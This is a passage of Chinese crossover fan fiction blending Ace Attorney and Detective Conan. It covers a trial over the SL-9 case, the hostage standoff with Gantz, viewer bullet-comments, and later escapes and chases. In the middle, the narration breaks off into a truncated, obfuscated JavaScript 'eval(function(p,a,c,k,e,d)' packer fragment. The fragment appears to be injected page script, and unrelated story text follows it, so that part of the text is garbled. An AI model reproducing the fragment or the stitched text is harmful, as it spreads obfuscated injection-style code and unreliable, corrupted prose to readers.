这还能有什么不明白的。拉娜唯心想,这不都是你用过了的手段吗。舟桥佑希的勾玉是绫里真宵送的,是铜黄色的;但当他赶到证物室,找到的勾玉却是青白色。汐华真理在一柳万才的追杀下,他直接带走了这件证物,并且没有给妃英理——因为给妃英理后依旧算是给了法院,等于还是交还给一柳万才,只能由汐华真理这位证人随身携带,自然也就没有纳入证物系统。而提交证物系统中没有的证据,是不符合证据法的。原作中严徒海慈就这么用一块布暗害了成步堂,现在也算是梦幻重演了。 也不知道以后会有多少玩家操控妃英理掏汐华真理的兜拿勾玉。想一想那个画面,还是怪搞笑的。拉娜唯不想让严徒海慈太高兴,懒洋洋地转过头:“不知道。我又不当检察官或者律师,用不着学证据法。” 态度实在不算好。严徒海慈眯着眼看她,似笑非笑:“你也这样对你的引路人大放厥词吗?他教的不好啊。” 拉娜唯有些疑惑,心想我对降谷零也好诸伏景光也好可是贴心小棉袄了,热不死你。会议室里拉着窗帘,就在这时,严徒海慈起身,走到房间那一头站到被绑了半天的人身边:“我都怀疑你没有看见他。居然不闻不问,也不让我给他松绑,真让人寒心。” 拉娜唯反唇相讥:“我说了你就会听?” “……没什么啦。如果小拉娜可以听话一点,是可以的。不过现在我都看不下去了,这样欺师灭祖……” 严徒海慈没有直接松绑,而只是摘下那个人的头套。拉娜唯怔愣了片刻,后来她从不提起这回事,却不意味着她忘掉了。她在余生都十分怨恨这个瞬间。那个人望着她,脸被电脑屏幕映衬着淡淡的蓝色荧光,一瞬间世界仿佛沉默了。同样的光落在他的睫毛上,落在拉娜唯微微张开的嘴唇上。他只是微微抬了一下头,就低下去,碎裂的眼镜令他的情绪难以被言明。严徒海慈笑着说:抱歉。 哦。原来他说的是牙琉雾人。 我还以为……大概是因为刚才一直在操控汐华真理导致的吧。 很快拉娜唯就从这片刻的意外中脱离出来,抬起头说:“人家的弟弟还在台上打嘴仗,你把人家哥哥绑来做什么?” “哎,其实我本来也不想这么干的。”严徒海慈说,“小响是个很厉害的检察官。以后一定会大放异彩的,不过我知道你们的计划。你们准备借着这个机会,把SL-9的事公之于众吧?……这样不可以被允许啊。所以,在小响开始说出不合适的话之后,我的电话就会打过去;他的话就会变得适宜被说出口了。” 所以你就把牙琉雾人抓过来了。天才你是。拉娜唯都不知道说啥好,恨不得现在送严徒海慈一份泥砖菜盘四,着重让他打一把4-4,你倒是看看律师王泥喜法介助手成步堂美贯还有检察官牙琉响也是怎么像新婚夫妻切蛋糕一样里应外合把检察官的亲!哥!哥!牙琉雾人送进去的啊!那个神人和他哥的塑料兄弟情都一盘散沙了,不用走几步路,等会汐华真理下场去把王泥喜从牙琉律师事务所接过来直接都吹没了! 你绑了个鸡毛……你绑牙琉雾人连他家的狗都不会着急的信不信。 拉娜唯靠在了椅背上。她深呼吸了几下,从一种冷峻的幽默里意识到了现实:虽然绑牙琉雾人不会对法庭的审判造成什么影响,不过,却很可能对于他们一整个行动道路造成毁灭性的打击。牙琉雾人都被抓过来了……那岂不是意味着一柳万才还是放弃了他们? 她又想看牙琉雾人了。想从对方的眼睛里看出什么;但他依旧回避。 青白色的勾玉并不是证据。但监控录像带可以是。在看清那个像素的颜色后,法庭内一片嘈杂,审判长不得不多敲了几下槌以维持秩序:“……勾玉的颜色,究竟可以说明什么?” “当然是,青白色勾玉的主人才是真正的杀人凶手!” “异议!”牙琉响也再次捶在墙上,“监控录像中,佩戴青白色勾玉的人依旧是舟桥佑希!你的主张想要成立,除非是有人冒充了舟桥佑希进行灵媒,使得死去的星野季沙回到人间……但这个人究竟是谁!” 妃英理沉默片刻:“这个人是……” 她闭上眼。知道这个主张将会令人难以接受,但排除一切不可能的,剩下的只有真相:“……是美柳千奈美。” 一片哗然。 “异议!美柳千奈美难道不是已经被处死了吗?!” “是的……但死去的女鬼出现为祸世间,这样的事情,之前不就出现在了叶樱院吗!” 事情仿佛发生了翻天覆地的转圜。但是,出人意料的是,牙琉响也在片刻的失态后,重新站直了——照理来说他该来一段空气吉他的,却没有来——他笑了。 “……我得说,这是非常非常有趣的推理。妃英理律师。”他偏过头去,“您在短暂的时间缺口中,撕出了一处奇妙的幻境,并且用尽您的毕生常识去翻出了花样;但它就像万花筒一样,不管里面怎样变化多端,拆开镜筒,里面也只剩下了几块碎玻璃。我的意思是,这些都没有意义。因为无论您持怎样的主张,都无法改变一个事实:也就是在舟桥佑希昏迷之前,松本俊一还活着;而她醒来,被害人就死去了。真正的杀人案能够发生的时间窗口极其有限,您难道要主张,在佑希昏迷过程中,美柳千奈美上了她的身体,驱使她犯下了杀人案吗?” “异议!”还没等妃英理说话,汐华真理一拍桌子,“美柳千奈美没有任何灵力,而且鬼魂不能在灵媒师没有意识的时候上身!” 面对三双疑惑的眼睛(包括审判长的),汐华真理并不犹豫:证人代打又不是没有先例;而且他这说到底算紧急避险,妃英理并不熟悉灵媒的个别特征,牙琉响也也不算熟,自己不出声最后双双被带跑偏就难受了。 “……所以灵媒了美柳千奈美的人并不是舟桥佑希。”妃英理最先反应过来,顺着说道,“而这个人当时并没有同时和舟桥佑希出现在同一个空间里。刑警们给出的调查报告显示,期间出入房间的人只有松本俊一。那个凶手,只能在舟桥佑希来到会议室之前有机会离开。” 牙琉响也摇头:“这么看来,辩方主张在舟桥佑希昏迷之前,杀人案已经犯下?” 妃英理沉静地回答:“是的。凶手是美柳千奈美。” “异议!我们的证人刚刚指出,美柳千奈美没有灵力。她做不到灵媒星野季沙;而且她早就死了……更何况,监控中的杀人案发生在舟桥佑希来到会议室之前,那么一直以来和她说话的松本俊一又该当何解?难道是灵媒师灵媒了亡魂?” 牙琉响也看起来步步紧逼,但严徒海慈却轻轻叹了口气:“完啦……缺失的证据,被检察官自己送上门来了。”他干脆关上了屏幕,说,“我们不妨直接谈正事吧。” 拉娜唯看他。其实是在看弹幕。TV剧集这一回忠实极了,连同拉娜唯和牙琉雾人被严徒海慈挟持都拍了进去,观众自然是一片哀嚎(主要还是嚎拉娜唯,或者说阿莱塔),或是祈祷这位女前辈不要步了绫里千寻的后尘,殊不知此人能活极了;也受这个情况干扰,不少人的逻辑被打乱了。 【饿啊啊啊啊阿莱塔好惨!刚出来救了个场马上被拉回去蹲大牢】 【姐你别真死了我趣……】 【……我倒有点疑惑,就是严徒海慈为啥管阿莱塔叫小拉娜?】 【谁知道。没准她姓阿莱塔然后名字叫拉娜。】 【或者是中间名之类的,都有可能啊……你看泥砖菜盘的妈妈们还个个三四个名字呢,什么拉米罗雅,绫里舞子……不重要!我管她叫啥呢只要能活过去她叫矢张大中小都行啊啊啊啊】 【所以说现在的案情是……】 【某个灵媒师灵媒了千奈美?然后千奈美先灵媒星野季沙又灵媒松本俊一?】 【感觉不可能吧。松本俊一刚被砍死,千奈美灵媒他,他不会以为自己没死而后冲出去求救吗?】 【死人就算被灵媒应该也是知道自己之前死了的吧……】 【而且千奈美真能灵媒成功吗?要知道她从小就没有灵力,也没有学过相关知识,并不是说拥有了一具有灵力的身体就立刻懂得灵媒啊。】 【难她天?(迫真)】 “——谁说,和舟桥佑希共处一室的人是松本俊一?” 妃英理笃定异常:“而且,美柳千奈美是否善于灵媒,和本案无关。她根本不需要灵媒……我说过,凶手是美柳千奈美,可并没有说,是美柳千奈美灵媒的星野季沙啊……” 汐华真理看见牙琉响也撑在桌子上,看来是真的有点破防了。而另一边,妃英理依旧在侃侃而谈:“当然,这件事只靠美柳千奈美一人,是做不到的。试想,查阅卷宗,我们不难看出舟桥佑希和美柳千奈美之间有些相似;然而要想做到监控中的程度,则需要有人从中协助她。同样的,也是这个人将美柳千奈美易容成了星野季沙,又在松本俊一死后,乔装打扮成松本俊一!她虽然没有亲手犯下任何一次罪行,却无可辩驳地担任了共犯!” “这,这……这真的可以做到吗!!!”审判长的嘴长大了,“你说的这个人……究竟是!” ——是贝尔摩德啊! 现在再来重新梳理过程。一开始,贝尔摩德和某位灵媒师易容潜入松本俊一家中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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严徒海慈笑着击掌——很响。他的手很大。 “我猜接下来就要解开关于我的过去的谜题了。”他这样说,面色依旧不变,“让小响刚出道就接手这样麻烦的案子,真是辛苦了。……其实,我也不忍心。尤其是,让这么年轻的孩子初次出庭就面临首案落败,抓不住真凶,还失去亲兄弟的结局。这会毁了他的一生的。就像DL-6毁了小剑的十多年光阴一样……别这样看我。他已经十分幸运了,小学的同学能为他弃艺从法,拯救了他的灵魂。但是谁又能保证自己的生命里也能拥有一个这样的朋友?” 拉娜唯腹诽说那你还真毁对人了。你现在把牙琉雾人杀了,等王泥喜法介在成步堂那学出名堂,刚刚好救赎牙琉响也。她傻乐了一会,却想到或许严徒海慈是在说他自己。意识到这点时,她就像一个普通人隔着电视屏幕看见南极的冰山崩裂——壮观,美丽,残酷,和我有啥关系。电视关闭,该上班上班。 “现在,我可以做出一个巨大的让步……就当是支付的定金。假使谈妥这一桩生意,我现在就会去法院自首。”严徒海慈笑着说,“条件是,你把药给我,然后离开这里。” “我不会给你。牙琉雾人死了就死了,烦得很。反正你杀不了我。” “真不客气。”严徒海慈摇摇头,重新打开屏幕,上面汐华真理已经站到了律师助手位,送青白色勾玉进行灵力检测之后,正式提出一种可能:舟桥佑希受到暗害,或许是因为其父的原因。彼时舟桥警官入狱后无端死去,松本俊一却并未插手;事实上,真正痛下杀手的另有其人。我们主张,由于舟桥警官曾参与过SL-9事件,得知了某些内情被灭口,以至于连女儿也不能被放过。综上所述,重申SL-9! 休庭十分钟。 严徒海慈背对着屏幕。他收起了笑容:“十分钟。这是我给你的最后期限,小拉娜。十分钟后,他们在提审我的时候,就会意识到我逃了出来,到时候一切都结束了。选择权在你。” 在我个屁。 拉娜唯心想虽然我烦雾人烦得要死并且老怕他毒我但是偏偏我不能决定他的生死。其实他自己也不能。最配决定雾人的生死的大概是成步堂龙一和牙琉响也,最大的敌人和最亲近的家人。而此时成步堂龙一还没被荼毒过,就只剩牙琉响也。她一时间都有些犹豫要不然直接让汐华真理说服响也,你哥未来是绝命毒师,咱们大义灭亲一下算了……刚好在休庭嘛不是。 汐华真理此时下庭,直冲着检察官休息室去。但检察官休息室找不着人,难道响也刷新在厕所了。也没找到,只看见他一直以来戴在脸上的墨镜现在放在桌子上。不在休息室,那就出去找?他急急忙忙跑进走廊,差点撞到人,抬头一看,妈呀诸伏景光咋在这。对方似乎有话对他说,但汐华真理此时紧急,也不顾什么了:“——我在找牙琉检察官!他在哪里?你刚才看见了吗?” 诸伏景光摇摇头,但似乎还有话要说,然而汐华真理仿佛看见了牙琉检察官的背影,叫了两声没有应,急着追上去;他感觉自己的胳膊被一把抓住。回头,这一刻光像金雨一样洒落。诸伏景光正要开口,却听见许多人声……并朝着这个方向来。 “接下来我不在场。万事多加小心。” 他一定还有很多事要讲。但只剩下这一句,就擦肩而过。汐华真理不明所以,目光又落在了那副墨镜上。 牙琉响也不理我。御剑怜侍不在。景光马上也要走了。……等一下? 连带着,拉娜唯都震了一下。严徒海慈微笑着看过来,示意如果变换了想法随时可以告诉他。拉娜唯说:“不用等我了。直接开干吧,累了。” 严徒海慈非常意外,却不死心:“——真的?可小响的首秀可要被毁掉了……” “——为什么要这么急着下定论?”在一旁的“牙琉雾人”忽然站起来,身上的绳子全都松开了——拉娜唯解的——他摘下眼镜,语调轻佻,“明明我的法庭首秀才刚开始啊!” 早些时间,赤井秀一的红色雪佛兰载着江户川柯南冲破了层层阻碍——这阻碍来自于一柳万才,来自于岩徒海慈——但都不重要了。谁也没有拦住他们——穿行在东京的夜里,有一瞬间和另一辆红色的车擦肩而过——而这位车主此时正在门口。 御剑怜侍带着糸锯圭介以及一种刑警轰开会议室的门,门外严徒海慈的手下此时已经全部躺在地上;他手中的定位器和丢在桌子上的镜片正以同样的波段闪着光。江户川柯南带着宝月巴冲进法庭现场,矛头直指SL-9事件的真相,并早一步宣称严徒海慈已经逃离,但没关系,我们将会以另一种方式开庭,并将电脑画面投屏到法院中央。事实上是牙琉响也的被绑架者施施然走向电脑打开摄像头,法院中央的墙壁上,映出这个会议室中的一切。 在这一刻,他看见牙琉响也朝着屏幕那边的审判长华丽地行礼宣布自己是本案的检察官,而审判长则惊讶地问:那现在在法庭的人是谁?这位“检察官”摘下墨镜,露出了拉娜唯熟悉的神情,欠了欠身,说接下来就是响也的主场了,做哥哥的现在退场。真正的牙琉雾人自法庭退场,而在这一刻瞬息万变里,严徒海慈做出了他自己的判断—— 他准备杀掉牙琉响也。他抄起桌子上的酒瓶,朝着电脑的方向前进了一步,就再不能动弹。 拉娜唯抓住了他的手腕,他不能移动分毫。就像那天在天穹下捉一只兔子一样容易。 御剑怜侍带来的刑警一拥而上,把他摁倒在地。严徒海慈一开始挣扎,后面就不再挣扎。他低声说着什么,但御剑问他,他又不说。拉娜唯说,他是在同我说话。于是凑过去。严徒海慈喘着粗气,笑了笑:“其实……其实我并不想要长生不老。我只是要没收你的药,销毁——随着我的死一起。其实我在,施展自己的正义。它已经变得混沌了吧……一塌糊涂。你相信吗?” 拉娜唯并不作声。严徒海慈望着她的脸,忽然可怕地大笑:“——啊……啊啊啊啊啊!我的,我的未来!我的前途!我的梦想!富有的人,贫穷的人……我的正义!我是邪恶!你不明白,这个世界是一床永远短一截的被子,拼命地拉呀,扯呀,哭喊啊,头和脚依旧发冷……天空啊!死亡是永不落的太阳,是朝日的影!所有人都被它照耀……好人,坏人,行善的恶人,犯罪的善人!……我不允许你——!!!!” 56.她是个坏女人! 陡然间出了这么大变故,当然不能直接切入SL-9事件。考虑到此时正在进行转播,还得劳烦人解释一下……这事让响也做最合适。做检察官只是他的副业,人家的正事是做摇滚乐主唱,拿手节目是牙琉扑火(喂),上台表演看我看我我宣布个事是一件稀松平常的小问题。哪知牙琉响也大概是初次上庭,实在不着调,说到自己假装哥哥被抓走时,恣意又骄傲地忽然脱离站位,站到拉娜唯背后,手撑着她的椅背:“我装大哥装得很像吧?不过,您到底是什么时候看出来的?” 其实不算多早。毕竟拉娜唯还要考虑多个身份怎么协调,牙琉响也只管被绑就好。不过这人特别爱开屏,拉娜唯心想给你小子夸两句夸得不知好歹,最后这案子翻车就搞笑了,遂轻轻一笑嘲讽拉满,不置一词。牙琉响也一开始先是夸张地不可置信,而后一下子垮起个逻辑猫批脸,当着全国观众面朝着大哥告状:“刚才署长大人威胁的时候,唯小姐居然说大哥你死了就死了!”说到一半他自己绷不住,撑在桌子上笑得花枝招展。这大概不合规矩,但这个法庭没什么规矩,再没规矩也没在法庭上抽鞭子喝咖啡的厉害;更何况他才十七岁。拉娜唯仰起脸,再一次像察觉到一件新鲜事一样:牙琉响也才17岁。他和工藤新一,和黑羽快斗都是一样的年纪。 与此同时,牙琉雾人不动声色。他在屏幕那一边抬起手,似乎是想推一推眼镜,但此时他没有戴,于是只好收回,平淡地说:“响也。这样太失礼了。”他这么说,却没有直视弟弟,反倒好像透过屏幕看着拉娜唯。响也察觉到了,一笑,于是又转身,拖长声音:“不过,最后的唯小姐还是出手的相当及时啊……我想她没有那么绝情的,对吧?”他大概意识到自己插入了一段暂时还不能被介入的话题……于是一贬一褒,零和博弈,抽身离开。这三个十七岁的孩子,虽然出于种种原因都直面着人类的性情与本性,但注重的地方大概还是不一样的吧;因此,会做出的应对也不同。 第二拨人来了。最快做出反应的是御剑怜侍。他问来人的目的,对方并不回答,只头微微侧一下,说:“唯女士认识我们。”御剑不动腿,只上半身转过来,用眼神问。拉娜唯从他——太恶俗了但是这是实话——胸侧和门框之间的空间里看见那个人的面容。是那天她从拘留所离开时看见和一柳万才交流的人。她微微点头,御剑怜侍缓缓退开半步。她刚走出半步,胳膊被一把拉住。牙琉响也——这算楚楚可怜吗?难以想象——地大跨步上来,下巴搁在拉娜唯肩膀上:“可是这是我首次出庭!关键的证人小姐!你要弃我于不顾吗?”他听起来好像是单纯地撒娇。但他分明面朝着一柳万才的手下,话也对着他说。牙琉响也或许暂且不清楚实情,但神秘的直觉令他挽留——做出这样一副幼稚的态度,省很多事。一股华丽的香气随之扑面而来。 “我相信你可以做得很好。” 拉娜唯拉开他的手。 她现在不能拒绝一柳万才。 拉开他的手的时候,拉娜唯直直地盯着牙琉响也的眼睛,这个年轻人。对方的鲜活的双眼回顾她,正大光明,还在肆无忌惮地散发他的魅力,并倒映出拉娜唯自己的影子来。他已经非常非常明白自己的魅力所在,而且引以为豪;这款法庭文字战斗(什么)游戏的人物形象总是给的相当大方,即便成步堂龙一在六部里爬山扭腰昏一天,牙琉响也舞台吉他着火柔弱扑火,指不定还没人家黑羽快斗走敏捷的能打……都不妨碍人家拥有相当优秀的外表。不论男女,只要成年了又人设符合,都总是十分慷慨,好深的沟啊(这太恶俗了)!……只是拉娜唯的意思倒不只是馋人家身子。 她只是忽然想到,舟桥佑希以后一定会变成非常漂亮非常美丽的女人的。不是可爱的清纯的女孩儿,不是活泼的元气的少女,大概也不会变成清淡的修女或者尼姑,而是是实打实地,会像六代的绫里真宵一样浓墨重彩地大变样;与此同时,汐华真理则拜她对原画组的高要求所赐,一边维持着黄金年代动漫里美型而手长腿长的外形,一边拥有着死小(逐渐通货膨胀的)中上水准线的战斗力。那么我呢。拉娜唯仔细地分辨,可惜看不清。 我已经和我三足而立了。拉娜唯觉得脑子有点乱,尚且不明白自己在为什么而烦恼;或许我不该离开,可留在这里我又当如何自处?拉娜唯不由得看向严徒海慈,她想,我已经击败了他。或许。 当然,严徒海慈在拉娜唯面前豹变,大概是出于一种心灵上的崩塌;然而在开庭后,他依旧保留了相当的体面。这是他最后的尊严了。面对着电脑那一边气质尖锐锋利的女性,还有显现出远超外表年龄的男孩儿的联合攻势,他就像非牛顿流体一样继续变得刚硬。事实上,就像严徒海慈初登场时对玩家们留下的印象,他一看就是真凶;眼下,他的有罪推定也已经变成了板上钉钉的事。 在这样言辞激烈,唇枪舌剑的法庭上,奇怪的是,严徒海慈回忆起自己杀死罪门直斗的瞬间,竟然丝毫不后悔。他连一点点可惜的想法都没有——他这一辈子并不干净。不在这一件事上摔倒,还会在别的道路上摔倒。像一个志向要追逐太阳的人,却没有生出翅膀:一生一生在大地上奔跑,永远都追不上太阳。他一开始就选错了道路:对于那个开始,他不断不断地回忆。这并不是忏悔,并不是害怕。只是他将自己的大半生都奉献给了心中所谓的扭曲的正义,所以也只能质询这件事。只有这件事。 此时,严徒海慈就像将要死的动物一般,那颗象征着审判的子弹实际上已经射穿了心脏,只是这头猎物太巨大,还是不肯咽气。痛苦的喘息声还是没有片刻停顿。他就要在社会意义上地死去了,此时无疑已经达到了某个无法触及的世界,其他人,还有他们的子弹,都不再能伤害他了。 拉娜唯并不排斥看这样一个人走上绝路。不过,也无所谓了。她对于庭审不再有什么兴趣,毕竟SL-9的实情不是什么未解之谜。她看了一眼弹幕,发现TV忠实地记录下了现场的一切,包括汐华真理为掩盖贝尔摩德的存在时,当着所有人的面投向观众席的一瞥——甚至落点也交代的清清楚楚,是诸伏景光没错。然而对观众而言这是苏格兰,于是弹幕又是好一阵拉扯和阴谋论,猜测汐华真理会不会是估计苏格兰在场才不敢说出贝尔摩德的存在,黑苏论支持者一片欣喜若狂,高声喊着我们幼驯染要大杀四方了!芜湖!看的拉娜唯乐不可支。 她又划着划着,发现一个极其震撼的事实:她和一柳万才的交易实际上已经被朗姆知悉。这位情报头子渗透的水平其实相当不错,证据是拉娜唯这段时间只以为朗姆手里攥着波本跟她明牌打情报战,暗牌出了贝尔摩德,没想到还有一张藏牌……如果组织有王牌的说法,那琴酒肯定就是了。此人最巅峰战绩是在严徒海慈拉走拉娜唯时架狙,不只是狙严徒海慈,是拉娜唯万一答应,就先狙她,再狙严徒海慈。 我真的草了。拉娜唯心想你提前把严徒海慈狙了不啥事没有???虽然严徒海慈会死的不明不白潦草落幕但是我的命最重要啊!!!什么节目效果不节目效果的,退一万步说你把严徒海慈狙了我不就没地谈生意了??? 不清楚,不明白。上班没有夸饰。同事都是史。 ……不过这倒是能猜到麦尔丝为什么突然要给她讲故事了。估计是麦尔丝看到了琴酒在架狙,一方面不能另一方面也不方便干涉人家家孩子;大概也做好了严徒海慈不能震撼落幕,至少有人讲述他的故事——不过琴酒要是真开枪了,讲故事归讲故事,不耽误麦尔丝过去跟亚瑟激烈地交换意见吧。 倒不是这点震撼到了拉娜唯。震撼到她的是,王牌对王牌了。 此事还得从头说起。成步堂龙一和妃英理包括御剑怜侍这三位司法相关人士的切入点自然是严徒海慈和他的SL-9事件,而江户川柯南的切入点当然也偏向于他所熟悉,或者他所倾向的——当然是贝尔摩德的踪迹了。过程不管,他们会顺利会师的。 然后江户川柯南就去悍然偷家。偷的谁的,琴酒的。 这孩子。拉娜唯不知道说啥,只能说是三选一的天才。偷波本的,人家皮下是公安警察降谷零,偷了就偷了,顶多下次还拉你打网球;偷贝尔摩德的,她是你干妈,偷的不厉害她忍了,大不了易容个把人去日常TV吓唬你;你偷谁不好,偷到琴酒头上!虽然过程看起来完全是被逼无奈,但是此孩子就这么水灵灵的被逼无奈地深入敌后了,姑且算是拿到了严徒海慈的把柄——最后被赤井秀一捞走。真正的救火大队长深藏功与名。 对。这两枚银色子弹在一边往法院赶,一边跟组织TK对拉(可能期间还有空和御剑检察官擦肩而过,评价为对这男的好点呗,人家只是身材好外加有逆检垫底不太可能出事,跟你们一起对拉还是很困难的。这众多的大场香们也不希望自己手里的逆转检事变成幽灵诡计吧)。 所以说我在法庭上拼了老命阻止红黑大战的时候你们就在外面对拉。Ok fine。 如此操作令法外狂徒拉娜唯都不免汗颜。按照她断断续续看了本篇后的观影体验做结论,大概率会是紧张刺激的对殴,最后无人伤亡。这就是神奇的米花,这就是神秘的泥砖菜盘。拉娜唯很高兴没有看到琴酒坐着他那个小破老爷车和人家的雪佛兰对拉,而是好歹换了一辆福特——好老派的牌子,但是雪佛兰其实也挺老牌的所以他俩谁也别说谁——就这么拉起来了。不是他的车,毕竟还是没那么顺手,所以被拉爆倒也不算难以想象。 要是这是个剧场版,赤井秀一把琴酒拉爆以后琴酒大概率还要开个鱼鹰过来给大伙拜年。但这是剧场版前的TV,所以也只好先委屈委屈琴酒吃个哑巴亏了(说不定剧场版就让他挣回来了呢。虽然可能性挺低的哈)。拉娜唯这样想着,走上车,引导她的人为她拉开门,打开车内的灯;于是她看见保姆车里坐在对面的那个人——一柳万才。 对方捻着胡子,对她轻轻地点头。这是一整列车队。拉娜唯注意到车内有一些苗条纤细的女人隐隐绰绰的身子,手中端着托盘或者搭着毛巾。“那是我雇佣的……保姆。”一柳万才说。女仆。拉娜唯的心中却斩钉截铁地答。那种出现在几百年前的贫穷女人。她们怀抱婴儿,努力把臂弯当作孩子的摇篮,沿着长廊走动,使得这些尊贵的婴儿在温热无光的房间外的新鲜空气中酣然入眠。拉娜唯,或者说阿莱塔,对于自己的最早的记忆并不来自于父母,不来自于最近供养她的长辈,而来自于一个女仆。她当然早死了。女仆也许消失了,但事实上从没有。 这辆车抵达了一家酒店。前台穿着考究的制服,准备好了一杯热的虾酒;他把拉娜唯领到一间宽敞、昏暗,临近走廊的屋子,又向前指,告诉拉娜唯,更衣后他会带她去见会长。烛光中挤满了模模糊糊的人影,而烛光又被香烟的雾气弄得更加模糊。她从看到及周围低沉的声音判断,房间里大多数是女人,她们立刻发现了拉娜唯的到来,在此之前这些女人在那儿泰然自若地坐了半小时,而这一刻全部安静了;就像一个大天使的信使飞落在一扇打开的窗前,然后房内的人都说不出话来了。的确,拉娜唯终于不再像一个偷听者似的,插入任何一个场合;然而代价是什么呢。这些女人端着叠的整整齐齐的五个家纹的色留袖走出来的时候,她已经并不觉得奇怪了。 拉娜唯完整更换好全套和服后,所有灯立刻打开,光带来的冲击几乎像一个巴掌扇到脸上那样,消除了那种在精神紧张的特殊状态里蔓延的危险感。四周的女人们在地上跪坐的更直了,不由自主地拍打、抚平拉娜唯的裙摆。这一切把这个出生于湖泊的女人深深地抛回百年前那个闪电拍击黑夜的长空。为什么,为什么一切回归了原样?这与荷兰时的一切又有什么分别?然而扪心自问,她走出门,望着一棵墨绿色的大树。这棵大树足够枝繁叶茂。于是她回过头盯着这座巨大的旅馆看了将近半小时。她承认它确实富丽堂皇,比起那片湖泊之上的旅馆也不遑多让。 “电梯在这里。” 前台对她说。拉娜唯登上房顶,毋庸置疑,此时她已经可以被称为大人物,她的一举一动好似神迹,即便是赫尔墨斯还是玛门都无法与她相提并论。“很漂亮吧。”那个人邀请她仔仔细细把这飞机看个清楚,其实这种东西只要见一次就不会忘记。它金属的零件在黑夜中依旧闪闪发亮,线条极其优美,层层叠叠的玻璃映照出一整片大海。当它掠过海港,那里停靠着许多远洋巨轮,飞机的机翼如同张开的翅膀,就像从天堂而来的天使传播福音,追逐太阳——难道这就是一柳万才得到的教训吗。关于如何成为追逐太阳的人,首先要拥有翅膀。 在这座城市,川流不息的汽车上照耀着一道道闪耀的光线,摩天大楼充满着人间所有的神秘与美丽。树木和城市的灯光点缀在宽阔的马路上,海岸的海风在侧面飞远,仿佛借着势头冲破东京,越过太平洋。飞机闪闪发亮,迎接着海洋上的暖风。那看起来像是她在巡视这片天空,像巡视自己的资产那样。它或许可以成为您的资产。它或许已经是了。外面风声变大了,海湾上掠过一道微弱的闪电。万家灯火,地铁载满乘客,人世间充满着快乐。而在某一处无比光亮……那里好像有一场表演。魔术表演吗。 “在这里,一切皆有可能。一切……”拉娜唯心里想。 连她这样的人都有,别的就不需要大惊小怪。 当这一片暮色四垂的地面离她远去。她忽然,好像回到自己熟悉的领域——“走空路难道是因为——” “因为接下来,东京的路况会有一些……混乱。” 这位前台显然是见过大风浪的。他的用词相当谨慎。五分钟后,站在乱成一锅粥的法庭中央挂断电话的汐华真理回忆起这句话时,心想死装男怎么说的轻描淡写。 事情是这样的:本来,法庭宣判,无罪释放,舟桥佑希该从被告席上下来——然后她就差点挨狙。那一颗子弹把拉娜唯的意志从东京夜空之上拉回明亮的法庭中心。其实第一时间她想的是卧槽我就说琴酒脑子有病吧扛着把狙到处乱来,狙我干啥咋的是不是开了锁波士力娇结果忘关了锁我头上了,怎么样这框真帅吧,趴下的时候才意识到不对——倒不是一瞬间就推理出结果,而是直觉,琴酒怎么可能空大?这枪要是他开的,自己这会就该上复活甲了……所以不是。既然不是他,那是什么二流货色要害朕? 这个疑问在汐华真理那里得到了解答。他在听到枪声响起的时候,下意识地还是俯身躲避,却又想引导疏散在场的普通人,这样矛盾了不到一秒,一个电话打过来。他一看,安室透的。这位卧底搜查官一上来不只交代任务,甚至还有空数落他不机灵点先躲,汐华真理心想我躲了不就是失格警察了你还得数落我,给人孩子气的不行,偏偏又没有还嘴的余地。 “去找市之谷响华。” “响华?那个被雪藏的搜查官?”汐华真理忽然福至心灵,“……你联系她了?为什么?” “我把一个耳麦给了她。你带上,出门,上车。” 安室透没正面作答,汐华真理不依不饶:“零哥你为什么会知道她的存在啊?SL-9事件不是和你那个组织没关系了吗。……不会是怕我们败诉特意找了当时的亲历者吧???不会吧不会吧哥你好贴心哦!——” “让你去你就去。你找到她人了吗?如果三十秒之内我拨耳麦没有应答——” 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我测啊难怪说今天晚上堵,景光哥又说后半程不在,原来是日本公安联合发小哥逼宫FBI……而赤井秀一这次没去来叶山假死,追车却还是要继续追,就只能换到东京——人家晚上那么拥挤的一个城市就让你俩追车??能不能考虑一下社畜的心情???人家上了一天班不想看速度与激情也不想看环太平洋只想回家睡觉! “你不愿意?” “——那倒也不是,但是,但是,额,我咋抓?” “人都交给你指挥了你就看着办呗,不要什么都问我。”毕竟也总会有一天你不能再问我。他听见这样的声音——汐华真理换上耳麦,喂喂喂——电流声更甚,音质终归是要差一点。但是,即便从如此失真的声音传播里,他却感到奇妙的瞬间;像注视着暴风雨中的向日葵。毫无疑问,今夜如暴雨过境,动荡不安,不需要后知后觉,这种预感一定是对的。……但这暴风雨之夜中依旧有一株向日葵。汐华真理心想,倒不知道谁究竟才是向日葵了。只是,黑暗中但凡有一束光……一束光。向日葵就不能,永远不能,决绝地转过头去。 “不要有压力。你知道他又不会真的拿你怎么样;即便是那个‘莱伊’……也终究只是FBI,会有这样站在一起的一天,再讨厌也没用。但他不会伤害你。所以不用那么大压力,就当是……结业考试?” “不用有压力?那我也可以失误的对吧。啊,怎么不说话了啊哥,对吗?” “检讨写十份,他汽车尾气轰你脸的时候不许报我的名字,丢人。” “为什么呀!!”汐华真理当场急了,我寻思你原作不也没逮住他嘛,凭什么我没逮住你就开始说两句,那我也跟你说两句,“那你今天晚上干什么呀?” “我说过了啊。我会帮你把法庭的乱子摆平;那些与松本俊一谈合作的人忧心于自己的秘密被揭露,竟然试图灭口佑希这个亲历者——我绝不会轻饶。” “啊——这算什么嘛?谁来不都可以做吗!这也太不公平了。” “听完啊。毕竟法庭里有我要找的人啊。……只有她,只有那个人可以劝动自己那个固执的妹妹。” 听到这个消息,他微微愣了一下。降谷零知道在叶樱院那片土地上看见的宫野明美是幻影了。是舟桥佑希灵媒来的死人复生。这么看来,自己得到的或许还真是更轻松的工作;毕竟这件事本质上不过是让他代表公安去和FBI接洽,只是顺便飙车展现一下我方实力;降谷零的工作才更隐秘,更危险。他要把宫野志保带走。让宫野明美的灵魂出现在深陷地狱的妹妹的面前,带她离开,就像宝剑六中沉默的撑船人。 